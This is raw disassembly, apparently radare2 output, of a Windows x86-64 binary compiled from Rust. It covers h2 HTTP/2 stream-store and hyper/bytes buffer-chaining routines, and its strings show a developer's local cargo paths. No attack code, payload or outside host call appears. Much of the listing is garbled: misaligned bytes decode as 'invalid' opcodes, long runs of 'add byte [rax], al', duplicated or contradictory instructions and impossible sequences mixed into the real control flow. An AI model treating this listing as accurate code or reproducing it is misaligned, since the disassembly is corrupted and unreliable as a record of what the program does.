lea rdx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x860]
call fcn.1401224d0
lea rax, [rsp + 0x964]
mov qword [rsp + 0x860], rax
lea rax, [0x140033810]
mov qword [rsp + 0x868], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x570], rax
mov qword [rsp + 0x578], 1
mov qword [rsp + 0x590], 0
lea rax, [rsp + 0x860]
mov qword [rsp + 0x580], rax
mov qword [rsp + 0x588], 1
lea rdx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x570]
call fcn.1401224d0
lea rcx, str.assertion_failed:__stream.is_counted
lea r8, [0x1401451c8]
mov edx, 0x24
call fcn.140122660
lea rax, [rsp + 0x744]
jmp 0x140055b2a
lea rcx, str.assertion_failed:_self.can_inc_num_recv_streams__
lea r8, [0x140145188]
mov edx, 0x31
call fcn.140122660
lea rax, [rsp + 0x744]
jmp 0x140055bcc
lea rax, [rsp + 0x7b4]
mov qword [rsp + 0x740], rax
lea rax, [0x140033810]
mov qword [rsp + 0x748], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x960], rax
mov qword [rsp + 0x968], 1
mov qword [rsp + 0x980], 0
lea rax, [rsp + 0x740]
mov qword [rsp + 0x970], rax
mov qword [rsp + 0x978], 1
lea rdx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x960]
call fcn.1401224d0
mov qword [rsp + 0x1e0], r8
mov byte [rsp + 0x1e8], sil
lea rax, [0x14015e328]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x14015e438]
lea r8, [rsp + 0x1e0]
mov edx, 0x2b
call fcn.140122900
call fcn.1400067e0
mov ecx, 1
mov rdx, rsi
call fcn.140122170
lea rax, [rsp + 0xd9c]
jmp 0x140056037
add byte [rax], al
mov rcx, qword [rdi + 0xc8]
call qword [rax + 0x10]
lock dec qword [rdi]
jne 0x140056ea2
mov rcx, qword [rsi + 0x10]
add rsp, 0x28
pop rdi
pop rsi
jmp fcn.1400cb830
nop
mov rcx, rax
test cl, 4
jne 0x140056e7a
mov rdx, rcx
or rdx, 2
mov rax, rcx
lock cmpxchg qword [rdi + 0x30], rdx
jne 0x140056e60
and ecx, 5
cmp ecx, 1
jne 0x140056e8d
mov rax, qword [rdi + 0x20]
mov rcx, qword [rdi + 0x28]
call qword [rax + 0x10]
lock dec qword [rdi]
jne 0x140056ea2
mov rcx, qword [rsi + 0x10]
add rsp, 0x28
pop rdi
pop rsi
jmp fcn.1400cae10
nop
add rsp, 0x28
pop rdi
pop rsi
ret
mov rdx, qword [rsi + 0x98]
mov r8, qword [rsi + 0xa0]
call qword [rax + 0x10]
cmp qword [rsi + 0x50], 0
je 0x140056f63
mov r8, qword [rsi + 0x48]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rbx, qword [rsi + 0x28]
test rbx, rbx
je 0x140056fb5
mov rdi, qword [rsi + 0x20]
add rdi, 0x30
jmp 0x140056f9b
mov rax, qword [rdi - 0x18]
mov rdx, qword [rdi - 0x10]
mov r8, qword [rdi - 8]
mov rcx, rdi
call qword [rax + 0x10]
add rdi, 0x68
dec rbx
je 0x140056fb5
mov rax, qword [rdi + 0x10]
test rax, rax
je 0x140056f80
lea rcx, [rdi + 0x28]
mov rdx, qword [rdi + 0x18]
mov r8, qword [rdi + 0x20]
call qword [rax + 0x10]
jmp 0x140056f80
cmp qword [rsi + 0x18], 0
je 0x140056fcf
mov r8, qword [rsi + 0x20]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rbx, qword [rsi + 0x40]
test rbx, rbx
je 0x140056ffb
mov rdi, qword [rsi + 0x38]
add rdi, 0x38
mov rax, qword [rdi - 0x18]
mov rdx, qword [rdi - 0x10]
mov r8, qword [rdi - 8]
mov rcx, rdi
call qword [rax + 0x10]
add rdi, 0x48
dec rbx
jne 0x140056fe0
cmp qword [rsi + 0x30], 0
je 0x140057015
mov r8, qword [rsi + 0x38]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rdi, qword [rsi + 0xd0]
test rdi, rdi
je 0x14005703b
invalid
mov rcx, rdi
call fcn.1400160e0
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
add rsi, 0xe0
mov rcx, rsi
add rsp, 0x20
pop rbx
pop rdi
pop rsi
jmp fcn.1400564c0
invalid
and al, 0xe8
add byte [rax], al
add byte [rcx - 0x75], cl
lodsb al, byte [rsi]
and al, 0xf0
add byte [rax], al
add byte [rbp - 0x75], cl
mov ah, 0x24
adc byte [rcx], al
add byte [rax], al
mov rdi, qword [r12 + 0xf8]
test r14, r14
test esi, esi
test esi, esi
je 0x140057200
mov rsi, rdx
mov rax, qword [r12 + 0x100]
add byte [rax - 0x77], cl
and al, 0x28
add byte [rax - 0x77], cl
and al, 0x28
mov r8, qword [r12 + 0x108]
xor eax, eax
cmp r8, rdi
mov r9, rdi
cmovb r9, rax
mov r10, r8
sub r10, r9
mov r11, rdi
sub r11, r10
lea rdx, [r10 + r14]
mov rcx, r14
sub rcx, r11
cmova rdx, rdi
cmovbe rcx, rax
sub rdx, r10
jne 0x140057c3d
test rcx, rcx
je 0x1400571a1
mov rdx, qword [rsp + 0x28]
push rsp
and al, 0x28
add rdx, 0x48
lea r8, [0x1401941d0]
jmp 0x140057140
invalid
adc byte [rbx + rcx*4 + 0x4a], cl
enter 0x14c, 0xffffffffffffffc8
mov r9, qword [rdx - 0x38]
add rax, r9
add rdx, 0x50
dec rcx
je 0x1400571a1
mov r9, qword [rdx - 0x48]
movsxd r9, dword [r8 + r9*4]
add r9, r8
jmp r9
mov r9, qword [rdx - 0x30]
jmp 0x140057134
shr bl, 1
loopne 0x1400571bb
nop word cs:[rax + rax]
movzx r9d, byte [rdx - 0xd]
sub r9b, byte [rdx - 0xe]
movzx r9d, r9b
add r9, qword [rdx - 0x30]
jb 0x140057e71
add r9, qword [rdx]
jae 0x140057134
jmp 0x140057e71
add byte [rsi + 0x66], ah
nop word cs:[rax + rax]
mov r10, qword [rdx - 0x30]
mov r9, qword [rdx - 0x20]
cmp r10, r9
cmovb r9, r10
jmp 0x140057134
mov rdx, rsi
mov rcx, rdx
sub rcx, rbp
add rcx, rax
jne 0x14005721a
mov rcx, qword [r12 + 0x140]
mov rax, qword [r12 + 0x148]
and al, 0x48
add dword [rax], eax
add byte [rcx + rcx*4 - 6], cl
and al, 0x48
add dword [rax], eax
add qword [rax], rax
add byte [rcx + rcx*4 - 6], cl
call qword [rax + 0x28]
mov r13, rdx
test r13, r13
sete cl
test rax, rax
sete r8b
jne 0x140057ddb
test r13, r13
jne 0x140057ddb
mov rcx, r12
call fcn.140079cd0
mov rcx, r12
mov rdx, r15
call fcn.140079da0
xor eax, eax
xor edx, edx
jmp 0x140057e46
mov rax, qword [r12 + 0x100]
mov qword [rsp + 0x28], rax
xor eax, eax
mov rcx, rdx
sub rcx, rbp
add rcx, rax
je 0x1400571af
lea rax, [r12 + 0xe8]
mov qword [rsp + 0x70], rax
cmp byte [r12 + 0x120], 1
jne 0x140057cf1
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x78], r15
mov rax, qword [r12 + 0xe0]
mov qword [rsp + 0xa0], rax
mov r8, qword [r12 + 0x108]
mov rax, qword [r12 + 0x140]
mov qword [rsp + 0xa8], rax
mov qword [rsp + 0x48], r12
mov rax, qword [r12 + 0x148]
mov qword [rsp + 0x90], rax
mov rax, qword [rsp + 0x28]
add rax, 0x48
mov qword [rsp + 0x88], rax
xorps xmm6, xmm6
lea rbp, [0x1401941e0]
mov qword [rsp + 0x80], rdi
mov eax, 0x38
nop word cs:[rax + rax]
mov dword [rsp + rax + 0x88], 0
mov qword [rsp + rax + 0x90], 1
mov dword [rsp + rax + 0x98], 0
test byte [rax + rbx*4], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + riz*4], al
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add bh, al
test byte [rax + rbp*4], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rsi*4], al
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add bh, al
test byte [rax + rdi*4], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rax*8], al
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x7d], cl
rol byte [rax + 0x48], 0x3d
cmp byte [rax + rax], al
add byte [rbp - 0x68], dh
test byte [rax + rbx*4], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + riz*4], al
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add bh, al
test byte [rax + rbp*4], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rsi*4], al
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add bh, al
test byte [rax + rdi*4], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rax*8], al
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x7d], cl
rol byte [rax + 0x48], 0x3d
cmp byte [rax + rax], al
add byte [rbp - 0x68], dh
mov r9, rdx
sub r9, qword [rsp + 0x40]
jne 0x140057370
lea r11, [rsp + 0xc0]
xor r10d, r10d
test r14, r14
mov qword [rsp + 0x98], r8
mov qword [rsp + 0xb0], r9
je 0x1400573ca
cmp r8, rdi
mov ecx, 0
cmovae rcx, rdi
mov rax, r8
sub rax, rcx
mov rdx, rdi
sub rdx, rax
mov rcx, r14
sub rcx, rdx
jbe 0x1400573e0
mov r8, rdi
jmp 0x1400573e6
jb 0x140057fc4
mov rax, r9
shr rax, 0x20
jne 0x140057e7d
mov rax, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x40]
add rax, rcx
mov dword [rsp + 0xc0], r9d
mov qword [rsp + 0xc8], rax
mov r10d, 1
lea r11, [rsp + 0xd0]
add byte [rbp - 0x7b], cl
test byte [rcx + rcx*4 - 0x7c], 0x24
cwde
add byte [rax], al
add byte [rcx + rcx*4 - 0x74], cl
and al, 0xb0
add byte [rax], al
add byte [rdi], cl
test dword [rdi + rdi*8 - 1], edi
invalid
xor eax, eax
xor r8d, r8d
jmp 0x1400573e4
lea r8, [rax + r14]
xor ecx, ecx
mov edx, 0x40
mov qword [rsp + 0xb8], r10
add byte [rax], al
add byte [rcx + rbp - 0x2e], cl
lea rsi, [rax + rax*4]
xor al, 0x80
shl rsi, 4
mov r12, qword [rsp + 0x28]
add rsi, r12
lea r15, [r8 + r8*4]
shl r15, 4
add r15, r12
lea r13, [rcx + rcx*4]
mov dword [rcx - 0x3f], ecx
in eax, 4
mov dword [rcx - 0x3f], ecx
in eax, 4
add r13, r12
xor r9d, r9d
jmp 0x140057442
xor eax, eax
add rsi, 0x50
add r9, rax
cmp r9, rdx
je 0x140057650
invalid
cmp rsi, r15
je 0x140057450
mov rax, r15
mov r15, r12
jmp 0x14005746b
cmp r12, r13
je 0x140057653
mov rax, r13
mov r13, r15
mov rsi, r12
test r12, r12
je 0x140057653
mov r12, r15
mov r15, rax
mov rax, rdx
sub rax, r9
jb 0x140057e62
mov r8, r9
shl r8, 4
add r8, r11
mov rcx, qword [rsi]
movsxd rcx, dword [rbp + rcx*4]
add rcx, rbp
add ecx, ebp
add ecx, ebp
jmp rcx
jne 0x140057531
jmp 0x140057430
cmp rdx, r9
jne 0x140057553
xor r10d, r10d
jmp 0x1400575aa
add byte [rax], al
add byte [rax], al
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
invalid
add byte [rsi + 0x66], ah
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
add byte [rcx + rdi - 0x36], cl
cmp rdx, r9
je 0x140057430
mov rcx, qword [rsi + 0x10]
mov eax, 0
test rcx, rcx
je 0x140057432
mov rax, rcx
shr rax, 0x20
call 0xc58a8415
or dword [rax], eax
invalid
call 0xc58a8415
or dword [rax], eax
add byte [rax - 0x75], cl
or byte [rcx - 0x77], r8b
or byte [rcx - 0x77], cl
mov dword [rax + 8], eax
jmp 0x140057549
nop word cs:[rax + rax]
cmp rdx, r9
je 0x140057430
mov rax, qword [rsi + 8]
mov dword [r8], ecx
mov qword [r8 + 8], rax
mov dword [rax + 8], eax
mov dword [rax + 8], eax
jmp 0x140057549
mov rcx, qword [rsi + 0x18]
mov rax, qword [rsi + 0x28]
cmp rcx, rax
cmovb rax, rcx
test rax, rax
je 0x140057430
mov rcx, rax
shr rcx, 0x20
jne 0x140057e7d
mov rcx, qword [rsi + 0x10]
mov dword [r8], eax
mov qword [r8 + 8], rcx
mov eax, 1
jmp 0x140057432
lea rdi, [rsi + 0x28]
movzx ecx, byte [rsi + 0x3a]
movzx ebx, byte [rsi + 0x3b]
cmp bl, cl
jne 0x140057570
xor r10d, r10d
mov rdi, qword [rsp + 0x80]
jmp 0x1400575aa
movzx ecx, cl
movzx r10d, bl
jb 0x140057ebc
cmp bl, 0x12
ja 0x140057ede
sub r10d, ecx
add rdi, rcx
mov dword [r8], r10d
mov qword [r8 + 8], rdi
mov r10d, 1
cmp rdx, r9
mov rdi, qword [rsp + 0x80]
je 0x140057ecb
cmp eax, r10d
je 0x1400575f2
mov rcx, qword [rsi + 0x18]
test rcx, rcx
je 0x1400575f2
mov rdi, rcx
shr rdi, 0x20
jne 0x140057e7d
mov edi, r10d
shl edi, 4
add rdi, r8
mov rbx, qword [rsi + 0x10]
mov dword [rdi], ecx
mov qword [rdi + 8], rbx
mov ecx, 1
mov rdi, qword [rsp + 0x80]
add rcx, r10
cmp rcx, rax
jbe 0x140057600
jmp 0x140057e95
xor ecx, ecx
add rcx, r10
cmp rcx, rax
ja 0x140057e95
je 0x14005763d
mov r10, qword [rsi + 0x48]
mov eax, 0
test r10, r10
je 0x140057635
mov rax, r10
shr rax, 0x20
jne 0x140057e7d
mov eax, ecx
shl eax, 4
add r8, rax
mov rax, qword [rsi + 0x40]
mov dword [r8], r10d
mov qword [r8 + 8], rax
mov eax, 1
add rax, rcx
jmp 0x140057432
xor eax, eax
add rax, rcx
jmp 0x140057432
mov r9, rdx
add r9, qword [rsp + 0xb8]
cmp r9, 0x41
jae 0x140057f04
mov rcx, qword [rsp + 0xa8]
mov rdx, qword [rsp + 0x78]
lea r8, [rsp + 0xc0]
mov rax, qword [rsp + 0x90]
call qword [rax + 0x38]
mov r13, rdx
cmp rax, 2
je 0x140057d6f
test rax, rax
jne 0x140057d76
xor eax, eax
mov rdx, qword [rsp + 0xb0]
cmp rdx, r13
setne al
mov ecx, 0xff
cmovb eax, ecx
test al, al
je 0x1400576e0
movzx eax, al
cmp eax, 1
mov r8, qword [rsp + 0x98]
jne case.0x140042286.78
mov rcx, qword [rsp + 0x40]
add rcx, r13
mov rax, qword [rsp + 0x48]
mov qword [rax + 0xf0], rcx
jmp 0x140057720
mov rax, qword [rsp + 0x70]
movups xmmword [rax], xmm6
mov r8, qword [rsp + 0x98]
jmp 0x140057720
mov r12, r13
mov rax, qword [rsp + 0x70]
movups xmmword [rax], xmm6
sub r12, rdx
jne 0x1400577c9
nop word cs:[rax + rax]
mov rax, qword [rsp + 0x48]
mov rdx, qword [rax + 0xe8]
mov r9, qword [rax + 0xf0]
add byte [rax], al
add byte [rax - 0x77], cl
ror dword [rcx + rcx*4 + 0x4c], 1
and al, 0x40
sub rcx, r9
test r14, r14
je case.0x140057811.19
mov rsi, r14
mov r15, r8
lea rbx, [0x140194230]
fmul st(2), st(0)
adc eax, dword [rax]
lea r14, [0x140194220]
cmp r15, rdi
mov r8d, 0
cmovae r8, rdi
invalid
mov rax, r15
invalid
sub rax, r8
mov r9, rdi
sub r9, rax
mov r8, rsi
sub r8, r9
jbe case.0x1400578a9.15
mov r10, rdi
mov r12, rdx
mov esp, edx
mov esp, edx
sub r10, rax
je 0x140057aa3
shl rax, 4
lea r9, [rax + rax*4]
shl r10, 4
lea rax, [r10 + r10*4]
movabs rdx, 0xcccccccccccccccd
mov edx, 0xcccccccd
int3
int3
int3
int3
mul rdx
shr rdx, 6
add r9, qword [rsp + 0x88]
mov byte [rax], al
add byte [rax], al
mov byte [rax], al
add byte [rax], al
xor eax, eax
jmp 0x140057a14
test r12, r12
je 0x140057720
mov rsi, r14
sub r14, 1
jb 0x140057ea4
add byte [rax], al
add byte [rax], al
mov rdx, r12
mov r15, r8
cmp r8, rdi
mov eax, 0
add byte [rax + 0xf], cl
invalid
invalid
mov rcx, r8
sub rcx, rax
lea rax, [rcx + rcx*4]
lea eax, [rcx + rcx*4]
add byte [rax + 0xf], cl
invalid
lea eax, [rcx + rcx*4]
shl rax, 4
shl eax, 4
mov r8, qword [rsp + 0x28]
lea rcx, [r8 + rax]
mov r8, qword [r8 + rax]
mov eax, dword [rax + rax]
mov eax, dword [rax + rax]
lea r9, [0x1401941f0]
movsxd rax, dword [r9 + r8*4]
add rax, r9
invalid
jmp rax
enter 0xffffffffffffe0ff, 0x48
mov rax, qword [rcx + 0x18]
mov eax, dword [rcx + 0x18]
mov r12, rdx
sub r12, rax
jae case.0x140057811.4
jmp case.0x1400578a9.4
nop word cs:[rax + rax]
movzx eax, byte [rcx + 0x3b]
sub al, byte [rcx + 0x3a]
movzx eax, al
add rax, qword [rcx + 0x18]
jb 0x140057e71
invalid
invalid
add byte [rax], al
sub eax, 0x48000006
add eax, dword [rcx + 0x48]
add rax, qword [rcx + 0x48]
jb 0x140057e71
mov r12, rdx
sub r12, rax
jae case.0x140057811.4
invalid
jmp case.0x1400578a9.4
mov rax, qword [rcx + 0x10]
mov r12, rdx
sub r12, rax
jae case.0x140057811.4
invalid
invalid
jmp case.0x1400578a9.4
add byte [rax], al
add byte [rax], al
add byte [rbx + rcx*4 + 0x49], cl
mov r9, qword [rcx + 0x18]
mov rax, qword [rcx + 0x28]
cmp r9, rax
cmovb rax, r9
mov r12, rdx
mov esp, edx
mov r9, qword [rcx + 0x18]
mov rax, qword [rcx + 0x28]
cmp r9, rax
cmovb rax, r9
mov r12, rdx
mov esp, edx
mov esp, edx
sub r12, rax
jb case.0x1400578a9.4
lea r9, [0x140194200]
adc eax, dword [rax]
movsxd rdx, dword [r9 + r8*4]
add rdx, r9
jmp rdx
mov qword [rsp + 0x30], rax
mov rdx, qword [rcx + 0x18]
mov r8, rdx
sub r8, rax
jb 0x140057f46
mov qword [rcx + 0x18], r8
add qword [rcx + 0x10], rax
jmp 0x14005792e
add rcx, 8
mov rdx, rax
call fcn.1400a3a80
jmp 0x14005792e
mov rdx, qword [rcx + 0x10]
mov r8, rdx
sub r8, rax
jb 0x140057f37
add qword [rcx + 8], rax
mov qword [rcx + 0x10], r8
jmp 0x14005792e
mov rdx, qword [rcx + 0x28]
sub rdx, rax
jb 0x140057f1f
mov qword [rsp + 0x30], rax
mov r8, qword [rcx + 0x18]
mov r9, r8
sub r9, rax
jb 0x140057f18
mov qword [rcx + 0x18], r9
add qword [rcx + 0x10], rax
mov qword [rcx + 0x28], rdx
sbb byte [r8 + 1], cl
adc byte [r8 - 0x77], cl
push rcx
sub byte [rcx - 0x73], cl
add dword [r8 + 0x39], r9d
clc
lea rax, [r15 + 1]
cmp rax, rdi
mov eax, 0
cmovae rax, rdi
neg rax
lea r8, [r15 + rax]
inc r8
inc eax
inc eax
mov rax, qword [rsp + 0x48]
mov qword [rax + 0x108], r8
or byte [rcx], al
add byte [rax], al
mov qword [rax + 0x110], r14
lea rax, [r15 + r15*4]
shl rax, 4
mov rcx, qword [rsp + 0x28]
movups xmm0, xmmword [rcx + rax]
movups xmm1, xmmword [rcx + rax + 0x10]
add qword [rax], r10
movups xmm2, xmmword [rcx + rax + 0x20]
movups xmm3, xmmword [rcx + rax + 0x30]
movaps xmmword [rsp + 0xc0], xmm0
add byte [rax], al
add byte [rdi], cl
adc byte [rcx + rax + 0x40], al
adc byte [rcx + rax + 0x40], al
movaps xmmword [rsp + 0x100], xmm0
movaps xmmword [rsp + 0xf0], xmm3
movaps xmmword [rsp + 0xe0], xmm2
movaps xmmword [rsp + 0xd0], xmm1
mov rax, qword [rsp + 0xc0]
cmp rax, 4
je case.0x140042286.81
cmp rax, 3
je case.0x140042286.81
invalid
invalid
invalid
mov rax, qword [rsp + 0xc8]
mov rdx, qword [rsp + 0xd0]
rol byte [rax], 1
add byte [rax], al
rol byte [rax], 1
add byte [rax], al
mov rsi, r8
mov r8, qword [rsp + 0xd8]
lea rcx, [rsp + 0xe0]
lea ecx, [rsp + 0xe0]
lea ecx, [rsp + 0xe0]
call qword [rax + 0x10]
mov r8, rsi
jmp case.0x140042286.81
nop word cs:[rax + rax]
mov r10, qword [r9 - 0x38]
push rcx
enter 0x14c, 0xffffffffffffffd0
add rax, r10
add rax, r10
add r9, 0x50
dec rdx
je 0x140057aa5
xchg ecx, eax
add byte [rax], al
add byte [rax], al
xchg ecx, eax
add byte [rax], al
add byte [rax], al
mov r10, qword [r9 - 0x48]
movsxd r10, dword [r14 + r10*4]
add byte [rax], al
mov r10, qword [r9 - 0x48]
movsxd r10, dword [r14 + r10*4]
add r10, r14
jmp r10
jmp rdx
mov r10, qword [r9 - 0x30]
jmp case.0x14004b6c6.61
movzx r10d, byte [r9 - 0xd]
sub r10b, byte [r9 - 0xe]
sub r10b, byte [r9 - 0xe]
movzx r10d, r10b
add r10, qword [r9 - 0x30]
ror byte [rdi], 1
invalid
sub al, byte [rax + rax]
invalid
ror byte [rdi], 1
invalid
add r10, qword [r9]
jae case.0x14004b6c6.61
jmp 0x140057e71
add byte [rsi + 0x66], ah
nop word cs:[rax + rax]
mov r11, qword [r9 - 0x30]
mov r10, qword [r9 - 0x20]
push rcx
loopne 0x140057ab6
cmp ebx, edx
cmovb r10, r11
jmp case.0x14004b6c6.61
shr ebx, cl
xchg ebx, eax
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
xor eax, eax
jmp 0x140057b49
lea r10, [rax + rsi]
xor r8d, r8d
mov r12, rdx
sub r10, rax
jne 0x14005778f
test esp, ebp
cld
invalid
invalid
test esp, ebp
cld
invalid
xor eax, eax
ror byte [rbp - 0x7b], 0xc0
test r8, r8
je 0x140057b40
mov rdx, qword [rsp + 0x88]
xchg esp, eax
and al, 0x88
add byte [rax], al
add bl, ch
sbb byte [rdi], cl
invalid
jmp 0x140057ad0
mov r9, qword [rdx - 0x38]
add rax, r9
add rdx, 0x50
dec r8
je 0x140057b40
mov r9, qword [rdx - 0x48]
mov ecx, dword [rdx - 0x48]
movsxd r9, dword [rbx + r9*4]
add r9, rbx
jmp r9
mov r9, qword [rdx - 0x30]
jmp 0x140057ac4
shr bl, 1
loopne 0x140057b4b
nop word cs:[rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
movzx r9d, byte [rdx - 0xd]
sub r9b, byte [rdx - 0xe]
movzx r9d, r9b
add r9, qword [rdx - 0x30]
jb 0x140057e71
add r9, qword [rdx]
jae 0x140057ac4
jmp 0x140057e71
add byte [rsi + 0x66], ah
nop word cs:[rax + rax]
nop word cs:[rax + rax]
mov r10, qword [rdx - 0x30]
mov r9, qword [rdx - 0x20]
cmp r10, r9
cmovb r9, r10
jmp 0x140057ac4
xchg ebx, eax
xchg ebx, eax
nop word cs:[rax + rax]
mov r14, rsi
mov r8, r15
mov rdx, r12
add rcx, rax
je 0x140057da0
test byte [rsi + 2], cl
add byte [rax], al
ror dword [rdi], 0x84
add r8b, byte [rax]
add byte [rax], al
test r13, r13
test byte [rsi + 2], cl
add byte [rax], al
test r13, r13
jne 0x1400572a0
jmp 0x140057dc2
add al, byte [rax]
add byte [rbp + rcx*4 + 0xd], cl
lea r9, [0x140194210]
invalid
invalid
lea r9, [0x140194210]
movsxd rax, dword [r9 + r8*4]
add byte [rbx + 0x63], cl
add al, 0x81
add rax, r9
jmp rax
mov qword [rsp + 0x30], rdx
mov rax, qword [rcx + 0x18]
mov eax, dword [rcx + 0x18]
mov eax, dword [rcx + 0x18]
mov r8, rax
sub r8, rdx
sub eax, edx
sub eax, edx
lea rbx, [0x140194230]
lea r14, [0x140194220]
jb 0x140058005
invalid
mov qword [rcx + 0x18], r8
add qword [rcx + 0x10], rdx
jmp 0x140057c1a
sbb byte [rax + 1], cl
push rcx
adc bl, ch
jge 0x140057be6
invalid
add rcx, 8
add ecx, 8
call fcn.1400a3a80
lea rbx, [0x140194230]
lea r14, [0x140194220]
jmp 0x140057c1a
mov rax, qword [rcx + 0x10]
mov r8, rax
sub r8, rdx
sub eax, edx
sub eax, edx
lea rbx, [0x140194230]
lea r14, [0x140194220]
jb 0x140057ff3
add qword [rcx + 8], rdx
mov qword [rcx + 0x10], r8
jmp 0x140057c1a
mov rax, qword [rcx + 0x28]
sub rax, rdx
lea rbx, [0x140194230]
lea ebx, [0x140194230]
lea r14, [0x140194220]
jb 0x140057f1f
mov qword [rsp + 0x30], rdx
mov r8, qword [rcx + 0x18]
mov r9, r8
ror dword [rcx + 0x29], 0xd1
ror dword [rcx + 0x29], 0xd1
jb 0x140057f18
mov qword [rcx + 0x18], r9
add qword [rcx + 0x10], rdx
mov qword [rcx + 0x28], rax
mov rax, qword [rsp + 0x48]
mov rdx, qword [rax + 0xe8]
mov r8, qword [rax + 0xf0]
mov rcx, rdx
mov qword [rsp + 0x40], r8
sub rcx, r8
sub rcx, r8
jmp 0x14005775b
shl rdx, 4
lea rax, [rdx + rdx*4]
movabs rdx, 0xcccccccccccccccd
mul rdx
shr rdx, 6
shl r8, 4
lea rax, [r8 + r8*4]
shl r9, 4
lea r8, [r9 + r9*4]
add al, 0x89
add al, 0x89
sub rax, r8
mov r8, qword [rsp + 0x28]
add r8, rax
add r8, 0x48
xor eax, eax
lea r9, [0x1401941c0]
jmp 0x140057c94
mov r10, qword [r8 - 0x38]
add rax, r10
add r8, 0x50
dec rdx
je 0x140057115
invalid
invalid
invalid
mov r10, qword [r8 - 0x48]
movsxd r10, dword [r9 + r10*4]
add r10, r9
jmp r10
mov r10, qword [r8 - 0x30]
jmp 0x140057c84
movzx r10d, byte [r8 - 0xd]
sub r10b, byte [r8 - 0xe]
movzx r10d, r10b
add r10, qword [r8 - 0x30]
jb 0x140057e71
add r10, qword [r8]
jae 0x140057c84
jmp 0x140057e71
mov r11, qword [r8 - 0x30]
mov r10, qword [r8 - 0x20]
cmp r11, r10
cmovb r10, r11
jmp 0x140057c84
mov rdi, qword [r12 + 0xe0]
mov rbx, qword [r12 + 0x140]
mov rsi, qword [r12 + 0x148]
nop dword [rax]
mov r14, rdx
mov r9, rdx
sub r9, rbp
jb 0x140057ef2
lea r8, [rdi + rbp]
mov rcx, rbx
mov rdx, r15
call qword [rsi + 0x20]
mov r13, rdx
test rax, rax
jne 0x140057d5b
add rbp, r13
mov qword [r12 + 0xf0], rbp
cmp r14, rbp
je 0x140057d87
mov rdx, r14
test r13, r13
jne 0x140057d10
movabs r13, 0x1700000003
jmp 0x140057de6
cmp rax, 2
jne 0x140057de6
mov eax, 1
jmp 0x140057e46
mov eax, 1
jmp 0x140057dce
xor eax, eax
mov r15, qword [rsp + 0x78]
mov r12, qword [rsp + 0x48]
jmp 0x1400571c8
xorps xmm0, xmm0
mov rax, qword [rsp + 0x70]
movups xmmword [rax], xmm0
mov rcx, rbx
mov rdx, r15
call qword [rsi + 0x28]
jmp 0x1400571c5
mov r12, qword [rsp + 0x48]
mov rcx, qword [r12 + 0x140]
mov r15, qword [rsp + 0x78]
mov rdx, r15
mov rax, qword [rsp + 0x90]
jmp 0x1400571c2
movabs r13, 0x1700000003
xor eax, eax
test rax, rax
sete r8b
test r13, r13
sete cl
xor edx, edx
test r8b, r8b
je 0x140057e46
test cl, cl
jne 0x140057e46
movzx eax, byte [0x14019f308]
mov edx, 0x38
xor ecx, ecx
call fcn.1400f8ae0
test rax, rax
je 0x140057fd5
mov qword [rax], 0
mov byte [rax + 0x29], 2
mov rsi, rax
mov byte [rax + 0x30], 9
movzx eax, byte [0x14019f308]
mov edx, 8
xor ecx, ecx
call fcn.1400f8ae0
test rax, rax
je 0x140057fe4
mov qword [rax], r13
mov rdx, rsi
mov qword [rsi], rax
lea rax, [0x140159800]
mov qword [rsi + 8], rax
xor eax, eax
movaps xmm6, xmmword [rsp + 0x4c0]
add rsp, 0x4d8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srccommon_buf.rs
mov rcx, r9
call fcn.140122510
lea rcx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bufchain.rs
call fcn.140122a00
lea rcx, str.assertion_failed:_buf.len_____u32::MAX_as_usize_rustc_41dd149fd6a6a06795fc6b9f54cb49af2f61775flibrary_std_src_syspalwindowsio.rs
lea r8, [0x14015e920]
mov edx, 0x30
call fcn.140122660
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bufchain.rs
mov rdx, rax
call fcn.140122510
lea rcx, str.Out_of_bounds_access
